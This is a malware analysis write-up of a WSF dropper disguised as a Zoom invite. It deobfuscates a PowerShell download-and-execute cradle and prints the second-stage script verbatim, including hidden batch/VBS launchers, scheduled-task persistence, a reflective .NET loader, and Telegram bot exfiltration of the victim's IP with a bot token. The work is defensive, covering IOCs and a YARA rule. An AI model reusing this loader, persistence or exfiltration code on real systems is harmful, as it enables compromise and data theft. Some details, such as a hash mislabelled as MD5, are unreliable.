char_array = [62, 72, 39, 61, 83, 127, 66, 50, 84, 127, 61, 33, 62, 72, 95, 58, 39, 58, 62, 72, 49, 61, 77, 55, 85, 88, 80, 61, 33, 62, 72, 95, 94, 58, 39, 58, 62, 72, 95, 49, 61, 127, 89, 78, 58, 84, 127, 78, 52, 77, 61, 33, 62, 74, 91, 89, 39, 61, 127, 88, 89, 86, 61, 33, 62, 98, 98, 58, 39, 58, 62, 74, 91, 89, 49, 61, 83, 127, 84, 61, 33, 62, 72, 85, 58, 39, 58, 62, 98, 98, 49, 61, 78, 51, 52, 94, 85, 77, 84, 86, 85, 61, 33, 62, 96, 96, 39, 61, 85, 90, 42, 50, 60, 50, 61, 61, 114, 110, 110, 106, 105, 32, 53, 53, 106, 123, 105, 110, 127, 52, 127, 127, 53, 104, 53, 40, 92, 94, 96, 126, 53, 42, 61, 61, 51, 61, 52, 72, 127, 74, 86, 91, 89, 127, 50, 61, 85, 90, 42, 50, 60, 61, 54, 61, 91, 94, 73, 78, 72, 83, 84, 93, 61, 51, 33, 115, 127, 98, 50, 62, 72, 95, 94, 49, 62, 72, 85, 49, 62, 96, 96, 51]

# Beecuase we know that the XOR operation with 0x1a so we use that to decode the chars.
decoded_chars = [chr(c ^ 0x1a) for c in char_array]

# We then join the characters to form the string together
decoded_command = ''.join(decoded_chars)

# Hopefully if the code work, we then specify the output file
output_file = "deobfuscated_powershell_command_1.txt"

# Write the deobfuscated command to the file
with open(output_file, "w") as file:
    file.write(decoded_command)

print(f"Deobfuscated PowerShell command saved to {output_file}")

In the above code, We will decode a PowerShell command that has been obfuscated using an XOR operation with the value 0x1a as discovered in the main source code.

First, the line decoded_chars = [chr(c ^ 0x1a) for c in char_array] processes an array of numerical values called char_array, which contains the original obfuscated character values. For each number c in this array, the code applies the XOR operation with 0x1a (which is 26 in decimal). The result of this operation is then converted to a character using the chr() function, and these characters are stored in the list decoded_chars.

Next, the line decoded_command = ''.join(decoded_chars) concatenates all the characters in the decoded_chars list into a single string. This string represents the decoded PowerShell command.

The variable output_file is set to "deobfuscated_powershell_command_1.txt", specifying the name of the file where the decoded command will be saved because we do not known how long the results will be.

Results

We get some intresting results from the python code like this;

$R='IeX(Ne';$RE = $R+'W-OBJ';$RED = $RE+'eCT NeT.W';$PAC='eBCL';$xx = $PAC+'IeN';$RO = $xx+'T).DOWNLO';$zz='O@0(&(''hxxps://paste.ee/r/2FDzd/0'')'.RePLACe('O@0(&','ADSTRING');iex($RED+$RO+$zz)

This PowerShell code snippet constructs and executes a command to download and run a script from a specified URL which is hxxps://paste.ee/r/2FDzd/0.

First, the variable $R is assigned the string IeX(Ne. Then, the string W-OBJ is concatenated to $R, resulting in the variable $RE being equal to IeX(NeW-OBJ. Next, the string eCT NeT.W is appended to $RE, making the variable $RED equal to IeX(NeW-OBJeCT NeT.W.

The variable $PAC is assigned the string eBCL, and the string IeN is concatenated to $PAC, resulting in $xx being eBCIeN. Subsequently, T).DOWNLO is appended to $xx, making the variable $RO equal to eBCIeNT).DOWNLO.

The variable $zz is assigned a string that appears to contain a URL. The expression $zz.RePLACe('O@0(&','ADSTRING') replaces the substring O@0(& in $zz with ADSTRING, transforming it into `ADSTRING’‘hxxps://paste.ee/r/2FDzd/0’‘.

Finally, the command iex($RED+$RO+$zz) combines the three constructed strings ($RED, $RO, and $zz) and executes the resulting command using the iex (Invoke-Expression) cmdlet. This effectively runs the PowerShell command constructed from the concatenated strings as shown in Fig 4. Nevertheless, We will reconstruct the PowerShell code for better readability.

Figure 4: URL Download Process

Recontructing the powershell

# Define parts of the PowerShell command
R = 'IeX(Ne'
RE = R + 'W-OBJ'
RED = RE + 'eCT NeT.W'
PAC = 'eBCL'
xx = PAC + 'IeN'
RO = xx + 'T).DOWNLO'

# Correcting the definition of zz by using double quotes for the URL
zz = "O@0(&('https://paste.ee/r/2FDzd/0')"
zz = zz.replace('O@0(&', 'ADSTRING')

# Combine all parts to form the complete PowerShell command
powershell_command = f"{RED}{RO}{zz}"

# Specify the output file
output_file = "deobfuscated_powershell_command_2.txt"

# Write the deobfuscated command to the file
with open(output_file, "w") as file:
    file.write(powershell_command)

print(f"Deobfuscated PowerShell command saved to {output_file}")
print("PowerShell Command:", powershell_command)

This code will output the deobfuscated PowerShell for better readability and now we have;

IeX(NeW-OBJeCT NeT.WeBCLIeNT).DOWNLOADSTRING('hxxps://paste.ee/r/2FDzd/0')

This is the deobfuscated PowerShell command. It downloads a script from the specified URL and executes it. As of 5/10/2024, the URL returns a 404 error, indicating that the adversary has removed the malicious file hosted on the paste.ee domain, which could have provided further insights for our analysis. Overall, this code snippet builds a PowerShell command that ultimately downloads and executes a script from the URL hxxps://paste.ee/r/2FDzd/0. The use of concatenation and string manipulation obscures the script’s intentions, making it harder to detect sometimes. The final execution line (iex(...)) is particularly concerning, as it invokes potentially malicious code from the internet, which can be the main payload.

Threat Intelligence

By leveraging threat intelligence, we can uncover valuable resources and additional information about the file. We checked the file using the MD5 hash e4895b941c8ea6d76630d6fcb2002292 on Filescan here to determine if we could download the main payload, which was available at the time of this analysis as shown in Fig 5.

Figure 5: Download and Continue Process

After downloading the file, the next step is to begin the analysis anew, this time focusing on the actual malware or file that the WSF is designed to deliver to the victim’s system, which is PowerShell as shown in Fig 6.

Figure 6: Character Encoding Example

Downloaded Powershell Analysis

Looking the malicious code as show in the Fig 6;

sET-iTem  vaRiaBlE:a6p ( [type]("{2}{1}{0}" -f 'E','.Fil','IO') );  ${D} =  ((("{2}{5}{4}{3}{0}{6}{1}" -f 'Datap','ualsp8P','C','ram','g',':p8PPro','8PMusicp8PVis'))-rEplAcE([CHar]112+[CHar]56+[CHar]80),[CHar]92)
                                                                                                         
&("{0}{1}"-f'New-','Item') -ItemType ("{2}{1}{0}" -f 'y','ctor','Dire') -Path ${d} -Force | &("{2}{1}{0}" -f'l','ul','Out-N')                                                                                     
                                                                                                         
.("{0}{1}" -f'slee','p') -Seconds 5 


${co`NT`ENt} = @'
On Error Resume Next

Sub zjte
    Dim sbyjn
    Set sbyjn = CreateObject("WScript.Shell")
    sbyjn.Run "C:\ProgramData\Music\Visuals\VsEnhance.bat", 0, True
End Sub
zjte
'@

  (  geT-vARiaBlE ('a'+'6P')).vAluE::("{1}{0}{3}{2}" -f'rite','W','llText','A').Invoke("$d\VsLabs.vbs" , ${CO`N`TEnT})
  
  
try {                                                                                                    
${CO`Nt`eNT} = @'
@echo off                              
cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"         
'@
}                                                                                                        
catch {}                                                                                                 
                                                                                                         
 ( Get-VariaBlE  A6p).VAluE::("{0}{2}{1}" -f'W','iteAllText','r').Invoke("$d\VsEnhance.bat" , ${CON`TE`Nt})
 
 try {
${CO`Nt`eNT} = @'
try
{

$cake = "4D_5A_90_00_03_00_00_00_04_00_00_00_FF_FF
_00_00_B8_00_00_00_00_00_00_00_40_00_00_00_00_00_00
00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00
00_00_00_00_00_00_00_00_00_00_00_00_80_00_00_00_0E
1F_BA_0E_00_B4_09_CD_21_B8_01_4C_CD_21_54_68_69_73
20_70_72_6F_67_72_61_6D_20_63_61_6E_6E_6F_74_20_62
65_20_72_75_6E_20_69_6E_00_00_00_2E_74_65_78_74_00
00_00_A4_77_00_00_00_20_00_00_00_78_00_00_00_02_00
_00_00_00_00_00_00_00_00_00_00_00_00_00_20_00_00_60
_2E_72_73_72_63_00_00_00_D8_04
_00_00_00_A0_00_00_00_06_00_00_00_7A_00_00_00_00_0
0_00_00_00_00_00_00_00_00_00_40_00_00_40_2E_72_65_6C_
6F_63_00_00_0C_00_00_00_00_C0
_00_00_00_02_00_00_00_80_00_00_00_00_00_00_00_00_00
_00_00_00_00_00_40_00_00_42_00_00_00_00_00_00_00_00
_00_00_00_00_00_00_00_00_80_97_00_00_00_00_00_00_48
_00_00_00_02_00_05_00_2C_4F_00_00_18_48_00_00_01_00
_00_00_14_00_00_06_00_00_00_00_00_00_00_00_00_00_0
0_00_00_00_00_00_00_00_00_00_00 ------This continue...

$oven = "4D_5A_90_00_03_00_00_00_04_00_00_00_FF_FF_00_00_B8_00
_00_00_00_00_00_00_40_00_00_00_00_00_00_00_00_00_00_00
_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00
_00_00_00_00_00_00_80_00_00_00_0E_1F_BA_0E_00_B4_09_CD
_21_B8_01_4C_CD_21_54_68_69
_73_20_70_72_6F_67_72_61_6D_20_63_61_6E_6E_6F_74_20_62
_65_20_72_75_6E_20_69_6E_20_44_4F_53_20_6D_6F_64_65_2E
_0D_0D_0A_24_00_00_00_00_00_00_00_50_45_00_00_4C_01_03
_00_3F_32_26_90_00_00_00_00_00_00_00_00_E0_00_0E_21_0B
_01_30_00_00_22_01_00_00_06_00_00_00_00_00_00 ------This continue...


}catch{}

Sleep 5

try {
[Byte[]] $NKbb = $cake -split '_' | ForEach-Object { [byte]([convert]::ToInt32($_, 16)) }
[Byte[]] $pe = $oven -split '_' | ForEach-Object { [byte]([convert]::ToInt32($_, 16)) }
}catch{}

Sleep 5

try {
$HM = 'L###############o################a#d' -replace '#', ''
$Fu = [Reflection.Assembly]::$HM($pe)


$NK = $Fu.GetType('N#ew#PE#2.P#E'-replace  '#', '')
$MZ = $NK.GetMethod('Execute')
$NA = 'C:\W#######indow############s\Mi####cr'-replace  '#', ''
$AC = $NA + 'osof#####t.NET\Fra###mework\v4.0.303###19\R##egSvc#####s.exe'-replace  '#', ''
$VA = @($AC, $NKbb)

$CM = 'In#################vo################ke'-replace '#', ''
$EY = $MZ.$CM($null, [object[]] $VA)

}catch{}                                                                                              
  try{}catch{}                                                                                                                                                                                                  
  try{}catch{}

'@

  $a6p::("{0}{1}{2}{3}"-f 'W','ri','teA','llText').Invoke("$d\VsLabsData.ps1" , ${cO`NTE`Nt})
  
}                                                                                                        
catch {                                                                                                  
                                                                                                         
}                                                                                                        
                                                                                                         
try                                                                                                      
{
$action = New-ScheduledTaskAction -Execute 'C:\ProgramData\Music\Visuals\VsLabs.vbs'
$trigger1 = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1)
$trigger2 = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 15)
Register-ScheduledTask -Action $action -Trigger $trigger1, $trigger2 -TaskName 'MicroSoftVisualsUpdater'
} catch {}
# Function to get the public IP address of the machine
function Get-PublicIPAddress {
    try {
        $publicIP = Invoke-RestMethod -Uri "https://api.ipify.org?format=text"
        if ($publicIP) {
            return $publicIP
        } else {
            Write-Output "Failed to retrieve public IP address."
            return $null
        }
    }
    catch {
        Write-Output "Failed to get public IP address: $_"
        return $null
    }
}

# Get the public IP address
$publicIP = Get-PublicIPAddress

if ($null -eq $publicIP) {
    Write-Output "No public IP address found."
} else {
    # Variables for Telegram
    $BotToken = "6XXXX34215:AAGXKhVLT1C5TbIUQh8MtkxobLT6VYXXXX"
    $ChatID = "-4586792XXXX"
    $Message = "Hacked! By Tommy Victim IP: $publicIP"

    # Function to send a message to Telegram
    function Send-TelegramMessage {
        param (
            [string]$BotToken,
            [string]$ChatID,
            [string]$Message
        )
        
        $uri = "https://api.telegram.org/bot$BotToken/sendMessage"
        $body = @{
            chat_id = $ChatID
            text    = $Message
        }

        try {
            $response = Invoke-RestMethod -Uri $uri -Method Post -Body $body
            return $response
        }
        catch {
            Write-Error "Failed to send message to Telegram: $_"
        }
    }

    # Send the message to Telegram
    Send-TelegramMessage -BotToken $BotToken -ChatID $ChatID -Message $Message
}

We can say that;

This PowerShell script performs several tasks involving string manipulation, file creation, and execution of batch scripts. Below is a breakdown of the main components:

1. Variable Initialization:

   sET-iTem vaRiaBlE:a6p ( [type]("{2}{1}{0}" -f 'E','.Fil','IO') )
   

This line sets a variable ‘a6p’ to the type [System.IO.File], using a formatted string to construct the type name.

1. Creating a Directory

${D} = ((("{2}{5}{4}{3}{0}{6}{1}" -f 'Datap','ualsp8P','C','ram','g',':p8PPro','8PMusicp8PVis'))-rEplAcE([CHar]112+[CHar]56+[CHar]80),[CHar]92)

This line constructs a path for a directory named C:\ProgramData\Music\Visuals by formatting and replacing specific character codes.

&("{0}{1}"-f'New-','Item') -ItemType ("{2}{1}{0}" -f 'y','ctor','Dire') -Path ${d} -Force | &("{2}{1}{0}" -f'l','ul','Out-N')

Here, the script creates the directory defined in ${D} if it doesn’t already exist.

1. Sleep Command

.("{0}{1}" -f'slee','p') -Seconds 5

1. VBScript Content Creation ```powershell ${coNTENt} = @’ On Error Resume Next

Sub zjte Dim sbyjn Set sbyjn = CreateObject(“WScript.Shell”) sbyjn.Run “C:\ProgramData\Music\Visuals\VsEnhance.bat”, 0, True End Sub zjte ‘@

This block defines a VBScript subroutine that executes a batch file located at ***C:\ProgramData\Music\Visuals\VsEnhance.bat*** without displaying a window.




5. **Writing VBScript to File**

```powershell

(geT-vARiaBlE ('a'+'6P')).vAluE::("{1}{0}{3}{2}" -f'rite','W','llText','A').Invoke("$d\VsLabs.vbs" , ${CO`N`TEnT})

This writes the defined VBScript content to a file named VsLabs.vbs in the directory ${d}.

1. Creating a Batch File

try {
    ${CO`Nt`eNT} = @'
    @echo off                              
    cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"         
    '@
} catch {}

This try-catch block attempts to define another batch file’s content, which runs a PowerShell script hidden and with bypassed execution policies.

1. Writing Batch File

( Get-VariaBlE  A6p).VAluE::("{0}{2}{1}" -f'W','iteAllText','r').Invoke("$d\VsEnhance.bat" , ${CON`TE`Nt})

This writes the content for VsEnhance.bat to the same directory, which will execute the VsLabsData.ps1 script.

Having explored the fundamental aspects of the code and its intentions, it is clear that this script is designed to create a specific directory, generate two script files (a VBScript and a batch file), and execute a PowerShell script without the user’s visibility. The script employs string manipulation and obfuscation techniques, likely to evade detection during malware analysis. The next step involves reversing the long encoded characters in the variable $cake and ‘$oven’ as shown in Fig 6.

Telegram C2

The examined PowerShell script also demonstrates malicious behaviour primarily aimed at exfiltrating the victim’s public IP address and notifying a remote attacker via Telegram.

Initially, the script attempts to retrieve the public IP address by calling the function Get-PublicIPAddress. If no public IP address is returned, the script outputs a message indicating this absence. However, if a public IP address is successfully retrieved, it constructs a message intended for the attacker’s Telegram channel, announcing that the victim’s system has been compromised. In addition, the VirusTotal scan identified this Telegram interaction, which was flagged by the IDS, as shown in Fig 7.

Figure 7: Telegram API Interaction

A significant aspect of this malware is the hard-coded Telegram Bot Token and Chat ID, which are used to send messages directly to the attacker. The script defines a function, Send-TelegramMessage, that constructs an API request to Telegram’s messaging service. This function takes the bot token, chat ID, and message as parameters. If the API call succeeds, it sends a notification to the specified chat channel; if it fails, an error message is logged. This behaviour indicates that the malware not only seeks to gather information about the infected machine but also establishes a direct communication channel with the attacker.

Reversinng the value in $cake and $oven

After numerous trials and errors, many researchers utilise various tools to reverse-engineer or decode strings. It is essential to stick to what is easy or comfortable for you. Nevertheless, as usual, Python will be employed for this task, considering that we already understand the logic the malware author used in the obfuscation.

My logics

import re

# Original PowerShell script as a string
powershell_script = r"""

follow by the source code of the powershell here, include the
    $cake = 
    $oven = 

then we go ahead and declare our own functions;

"""
# Function to clean up and format the PowerShell script
def clean_script(script):
    # Remove excessive whitespace and comments
    script = re.sub(r'\s+', ' ', script)  # Replace multiple spaces/newlines with a single space
    script = re.sub(r'\s*#.*?$', '', script, flags=re.MULTILINE)  # Remove comments
    script = re.sub(r'[^\x20-\x7E]+', '', script)  # Keep only printable ASCII characters
    return script.strip()

# Function to save cleaned script to a file
def save_to_file(filename, content):
    with open(filename, 'w') as f:
        f.write(content)

# Clean and save the PowerShell script
cleaned_script = clean_script(powershell_script)
save_to_file('cleaned_script.ps1', cleaned_script)

# Function to extract and save strings found in the script (e.g., batch file content)
def extract_strings(script):
    # Find all string literals in the script
    strings = re.findall(r'@"(.*?)"@', script, re.DOTALL)
    return strings

# Extract strings and save them
extracted_strings = extract_strings(powershell_script)
with open('extracted_strings.txt', 'w') as f:
    for string in extracted_strings:
        f.write(f"{string.strip()}\n")

print("Cleaning and extraction completed,thank you.")

In this phase, the code will not be explained in detail to optimise time, as it contains sufficient comments and is self-explanatory.

Analysis of PowerShell Script Obfuscation

The provided PowerShell script demonstrates various obfuscation techniques to conceal its true purpose. Below is a breakdown of the script, focusing on the structure, variable usage, and the potential functionalities hidden within the obfuscation as discovered and shown Fig 8.

Figure 8: Second Payload Deobfuscated

Key Components

1. Variable Assignment and Obfuscation:
   • The script begins by assigning the value a6p to a variable using the sET-iTem command, which is an unusual way to define a variable.
   • The variables are obfuscated using string formatting and replacement techniques. For example:

     ${D} = ((("{2}{5}{4}{3}{0}{6}{1}" -f 'Datap','ualsp8P','C','ram','g',':p8PPro','8PMusicp8PVis'))-rEplAcE([CHar]112+[CHar]56+[CHar]80),[CHar]92)
     

   • Here, the variable ${D} is constructed using formatted strings, making it difficult to immediately identify its purpose.
2. Functionality Execution:
   • The script attempts to create a new directory using the constructed path stored in variable ${d}:

     &("{0}{1}"-f'New-','Item') -ItemType ("{2}{1}{0}" -f 'y','ctor','Dire') -Path ${d} -Force
     

   • The usage of string formatting in the command further obfuscates its function.
3. Script Content and Execution:
   • The script defines a block of VBScript content stored in variable ${coNTENt}:

     ${co`NT`ENt} = @'
     On Error Resume Next
     Sub zjte
         Dim sbyjn
         Set sbyjn = CreateObject("WScript.Shell")
         sbyjn.Run "C:\ProgramData\Music\Visuals\VsEnhance.bat", 0, True
     End Sub
     zjte
     '@
     

   • This VBScript is designed to execute a batch file silently, indicating a potential malicious intent.
4. Batch File Creation:
   • The script also creates a batch file that runs a PowerShell script hidden from the user:

     ${CO`Nt`eNT} = @'
     @echo off
     cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
     '@
     

Conclusion

The script appears to focus on creating a directory, writing a VBScript, and executing a PowerShell script in a hidden manner. The presence of the hex values in variables ${cake} and ${oven} suggests the intent to handle executable content, which further underscores the potential for malicious use. The script’s design to evade detection during analysis, highlighting the importance of thorough examination and deobfuscation in malware investigation.

Dynamics Analysis with VirusTotal

Let’s see if something related to this discovery can be found using the same MD5 hash 2e63fec5163d85af2caf87e31459a0d6cca4cdb3d65a797e00a62b0c2b76acd7 on VirusTotal as shown in Fig 9.

Figure 9: VirusTotal Scan Results

Description

The code snippet is a VBScript embedded in a package structure, identified as a job script with the ID ‘manage-tujthyqgfu.exe’. It uses the CreateObject method to interact with the WScript.Shell object as show in Fig 10.

Figure 10: Overall Malware Tree Structure

Which is then executed via the Run method of WScript.Shell. The command is obfuscated using a XOR operation with the hexadecimal value ‘0x1a’, making analysis and detection more difficult. Please check the scan results here if interested.

Some commands were executed after downloading the malware as show in Fig 11; note that dynamic analysis won’t be deeply explored to optimise time. The goal is to correlate the results with the static analysis already conducted. A link to a full report is provided for further details.

Figure 11: Activity Summary from VirusTotal

We can also observe that the script utilizes intricate string manipulation techniques to execute payload._1.hta, as demonstrated in Figure 12.

Figure 12: Process Tree Representation

Some of the commands executed by the scripts are listed below.

Executed Commands

    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ReDrO = InvOkE-eXpreSSion ( ( [char[]] (62 , 72,39,61 ,83 , 127,66,50,84 , 127 , 61 , 33 , 62, 72, 95, 58, 39, 58 , 62 ,72 ,49 , 61,77 , 55, 85, 88,80, 61, 33 , 62, 72 ,95 ,94, 58, 39,58 ,62, 72, 95,49, 61 , 127 ,89,78 , 58 ,84,127,78,52 , 77 , 61, 33, 62,74 ,91 , 89 , 39 ,61, 127 , 88 , 89 ,86, 61, 33,62 ,98,98, 58 ,39 ,58, 62, 74, 91 , 89 , 49, 61, 83, 127,84, 61,33, 62,72,85,58, 39 ,58 , 62 ,98 , 98 ,49,61,78,51 , 52, 94 ,85 ,77 ,84, 86 , 85,61,33, 62, 96 , 96, 39 , 61 ,85, 90,42 , 50 ,60 ,50 ,61 ,61 , 114,110 , 110 , 106, 105,32, 53, 53 , 106,123 ,105, 110 , 127,52,127,127, 53, 104, 53,40, 92,94,96,126, 53, 42, 61, 61,51 , 61 , 52,72, 127 ,74,86 , 91, 89 , 127 ,50,61,85 ,90,42, 50, 60, 61 ,54 , 61, 91 ,94, 73,78 , 72, 83 ,84 ,93,61,51, 33 ,115 ,127,98 , 50,62,72 ,95, 94 , 49 , 62,72 , 85 , 49, 62 ,96 , 96 , 51 ) | %{[char] ( $_-BXOR '0x1a' ) } )-JOIN'') ; powershell $ReDrO"
    powershell "$ReDrO = InvOkE-eXpreSSion ( ( [char[]] (62 , 72,39,61 ,83 , 127,66,50,84 , 127 , 61 , 33 , 62, 72, 95, 58, 39, 58 , 62 ,72 ,49 , 61,77 , 55, 85, 88,80, 61, 33 , 62, 72 ,95 ,94, 58, 39,58 ,62, 72, 95,49, 61 , 127 ,89,78 , 58 ,84,127,78,52 , 77 , 61, 33, 62,74 ,91 , 89 , 39 ,61, 127 , 88 , 89 ,86, 61, 33,62 ,98,98, 58 ,39 ,58, 62, 74, 91 , 89 , 49, 61, 83, 127,84, 61,33, 62,72,85,58, 39 ,58 , 62 ,98 , 98 ,49,61,78,51 , 52, 94 ,85 ,77 ,84, 86 , 85,61,33, 62, 96 , 96, 39 , 61 ,85, 90,42 , 50 ,60 ,50 ,61 ,61 , 114,110 , 110 , 106, 105,32, 53, 53 , 106,123 ,105, 110 , 127,52,127,127, 53, 104, 53,40, 92,94,96,126, 53, 42, 61, 61,51 , 61 , 52,72, 127 ,74,86 , 91, 89 , 127 ,50,61,85 ,90,42, 50, 60, 61 ,54 , 61, 91 ,94, 73,78 , 72, 83 ,84 ,93,61,51, 33 ,115 ,127,98 , 50,62,72 ,95, 94 , 49 , 62,72 , 85 , 49, 62 ,96 , 96 , 51 ) | %{[char] ( $_-BXOR '0x1a' ) } )-JOIN'') ; powershell $ReDrO"
    C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "MSFT_ScheduledTask (TaskName = "MicroSoftVisualsUpdater", TaskPath = "\")"
    C:\Windows\System32\svchost.exe -k netsvcs -p
    C:\Windows\system32\SecurityHealthService.exe
    C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs"
    "C:\ProgramData\Music\Visuals\VsEnhance.bat"
    C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "
    C:\ProgramData\Music\Visuals\VsEnhance.bat
    cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
    Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

The executed commands reveal various activities performed by the malware after file execution. A significant portion of the commands involve the use of PowerShell, specifically with obfuscated commands that utilize Invoke-Expression to execute encoded scripts. Additionally, numerous DNS and IP addresses were contacted, as illustrated in Figure 13.

Figure 13: Observed IPs

Key observations include:

1. Obfuscated PowerShell Commands: Multiple commands employ complex character manipulations and XOR operations to obfuscate the payload, making detection more challenging.

2. WMI Processes: The commands show the execution of wmiprvse.exe, which is often used for Windows Management Instrumentation tasks, indicating potential misuse for persistence or further exploitation.

3. Scheduled Tasks: The command referencing MSFT_ScheduledTask suggests that the malware may create or manipulate scheduled tasks for persistence.

4. Script Execution: Several commands execute scripts located in the C:\ProgramData\Music\Visuals\ directory, hinting at the malware’s functionality and capabilities.

For further details and in-depth analysis of the malware, the full report can be accessed here.

IOCs

IP

TCP 172.67.187.200:443 (paste.ee) TCP 172.67.74.152:443 (api.ipify.org) TCP 149.154.167.220:443 (api.telegram.org) TCP 94.198.50.33:7000 (albaniah3cker.work.gd)

URL

hxxps://paste.ee/r/2FDzd/0 hxxps://api.telegram.org/bot6992634215:AAGXKhVLT1C5TbIUQh8MtkxobLT6VYCQOkE/sendMessage hxxps://api.ipify.org/?format=text 200

Dropped Files

manage-tujthyqgfu.exe __PSScriptPolicyTest_30p0lhmv.jbw.psm1 edb.chk powershell.exe.log VsLabsData.ps1 powershell.exe.log VsEnhance.bat StartupProfileData-NonInteractive ModuleAnalysisCache VsLabs.vbs

Modified Registry Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\powershell_RASAPI32
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\FileDirectory
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\powershell_RASMANCS
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\FileDirectory
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect

Telegram C2

$BotToken = "6XXX2634215:AAGXKhVLT1C5TbIUQh8MtkxobLT6VYCQXXXX"
$ChatID = "-45867924xxx"
hxxps://api.telegram.org/bot$BotToken/sendMessage
Hacked! By Tommy Victim

YARA Rule

rule Detect_Zoom_Invite_malware_RAT {
    meta:
        author = "daniyyell"
        date = "2024-09-10"
        description = "Detects Zoom Invite Call Leading to Malware Hosted in Telegram"
        yarahub_uuid = "B4F72C59-1C3C-4622-A52C-CB4AB710AF94"
        yarahub_license = "CC0 1.0"
        yarahub_rule_matching_tlp = "TLP:WHITE"
        yarahub_rule_sharing_tlp = "TLP:WHITE"
        yarahub_reference_md5 = "e4895b941c8ea6d76630d6fcb2002292"
        malpedia_family = "win.asyncrat"
        aka = "Asyncrat RAT"

    strings:
        $schedule_task_action = "New-ScheduledTaskAction -Execute"
        $download_string = "IeX(NeW-OBJeCT NeT.WeBCLIeNT).DOWNLOADSTRING"
        $get_varriables = "geT-vARiaBlE"
        $send_bot_message = "Send-TelegramMessage -BotToken $BotToken -ChatID $ChatID -Message $Message"

    condition:
        any of ($schedule_task_action, $download_string, $get_varriables, $send_bot_message)
}

Yara Testing Locally

We have successfully created a YARA rule to detect such activities as shown in Fig 14.

Figure 14: Testing Yara locally

Deploying the Yara

The Yara file was also deployed on Yaraify. Initially, we encountered a significant number of false positives, especially with certain pattern matches. One of the team members reached out via email to fine-tune the detection. After making the necessary adjustments, the YARA rule now shows a much-improved detection rate, as illustrated in Figure 15.

Figure 15: Yaraify Results

Conclusion

In this analysis, we examined the Zoom_Invite.call file, which is a .wsf script. Our static analysis revealed that it connects to hxxps://paste.ee/r/2FDzd/, from which a malicious file is downloaded. We further explored the static characteristics of the malware and successfully deobfuscated the long encoded strings stored in the variables $cake and $oven. This process led us to identify the Telegram Command and Control (C2) configuration embedded within the malware.

Subsequently, we performed dynamic analysis using VirusTotal, allowing us to extract Indicators of Compromise (IoCs). Finally, we created a YARA rule to facilitate the detection of this malware in future analyses.

References

[1] Filescan Report, “Zoom_Invite.call Malware Analysis,” Filescan.io, [Online]. Available: https://www.filescan.io/uploads/66f3ae64c48f81cd6a0cd525/reports/ff23aa67-cdd6-4d34-a766-7b1307cb7ee0/details. [Accessed: 09-Oct-2024].

[2] VirusTotal, “Behavior Report for File Hash 2e63fec5…,” [Online]. Available: https://www.virustotal.com/gui/file/2e63fec5163d85af2caf87e31459a0d6cca4cdb3d65a797e00a62b0c2b76acd7/behavior. [Accessed: 09-Oct-2024].

